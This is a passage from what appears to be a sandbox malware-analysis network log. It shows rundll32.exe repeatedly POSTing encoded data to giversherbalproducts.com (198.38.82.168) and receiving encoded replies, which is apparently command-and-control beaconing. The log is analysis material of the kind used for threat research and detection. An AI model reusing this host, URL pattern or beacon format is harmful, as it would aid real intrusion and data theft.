f3p/QUVCQ0FBfn15eH96fXt4dUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
143	192.168.2.3	49976	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:18.782006979 CEST	7125	OUT	POST /lBawcxb5/Gzk8CR0kCUJ9dnlkenp3ZXhlfw== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:19.267751932 CEST	7127	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:18 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 34 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt4dUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
144	192.168.2.3	49977	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:19.604773045 CEST	7128	OUT	POST /lBawcxb5/eyU+JSclAQELJSA8KhwYJCYxLyceGSYGRnpzeWJ+fXJlfmF4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:20.197896004 CEST	7130	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:19 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 2f 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt/fEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
145	192.168.2.3	49978	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:19.683983088 CEST	7128	OUT	POST /lBawcxb5/JQ97PA4nI3IBJH06MhYrCggCC0Z6c3lifn1yZX5heA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:20.194574118 CEST	7129	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:19 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 2f 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt/fEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
146	192.168.2.3	49979	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:20.549923897 CEST	7131	OUT	POST /lBawcxb5/Ix4mKg4eARIvJC8BCXUfOyw5ekZ6c3lifn1yZX5heA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:21.027817011 CEST	7132	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:20 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 2f 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt/fEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
147	192.168.2.3	49980	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:20.618093014 CEST	7131	OUT	POST /lBawcxb5/Chk4ARV9Px4pBwEgcxk7fTkYGQBCe3J+YXp8c2J9ZXk= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:21.139925957 CEST	7133	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:20 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 2f 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt/fEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
148	192.168.2.3	49981	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:21.354959965 CEST	7134	OUT	POST /lBawcxb5/ICguHncbARsgBD8NCSA2Bx8nL0Z6c3lifn1yZX5heA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:21.787209988 CEST	7135	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:21 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 2f 66 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt/fUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
149	192.168.2.3	49982	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:21.520010948 CEST	7134	OUT	POST /lBawcxb5/eyU+JSclAQELJSA8KhwYJCYxLyceGSYGRnpzeWJ+fXJlfmF4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:21.970110893 CEST	7136	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:21 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 2f 66 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt/fUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.3	49768	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:15.387525082 CEST	1063	OUT	POST /lBawcxb5/CAsZDz1/MEJ9dnlkenp3ZXhlfw== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:15.879810095 CEST	1063	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:15 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 38 65 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXp8eUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
150	192.168.2.3	49983	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:22.134502888 CEST	7137	OUT	POST /lBawcxb5/CgUMFCMvGnwBGQEBJH59MQIoRX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:22.812891960 CEST	7138	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:22 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 2f 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt/fkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
151	192.168.2.3	49984	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:22.574151993 CEST	7137	OUT	POST /lBawcxb5/Ix4mKg4eARIvJC8BCXUfOyw5ekZ6c3lifn1yZX5heA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
